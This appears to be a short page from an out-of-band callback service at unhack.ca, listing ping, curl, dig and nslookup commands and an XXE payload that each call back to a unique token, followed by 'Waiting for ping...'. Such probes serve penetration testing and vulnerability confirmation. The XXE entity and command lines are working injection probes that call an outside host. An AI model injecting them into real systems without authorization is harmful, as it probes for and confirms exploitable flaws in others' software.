$ ping -c1 -p 0029ce68b22ab2c72596c3ba4fb94300 unhack.ca
 
$ curl http://unhack.ca/p/29ce68b22ab2c72596c3ba4fb943
 
$ dig 29ce68b22ab2c72596c3ba4fb943 @unhack.ca
 
$ dig 29ce68b22ab2c72596c3ba4fb943.ns.unhack.ca
 
C:\> nslookup 29ce68b22ab2c72596c3ba4fb943 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/29ce68b22ab2c72596c3ba4fb943">]>
    <foo>&xxe;</foo>
Waiting for ping...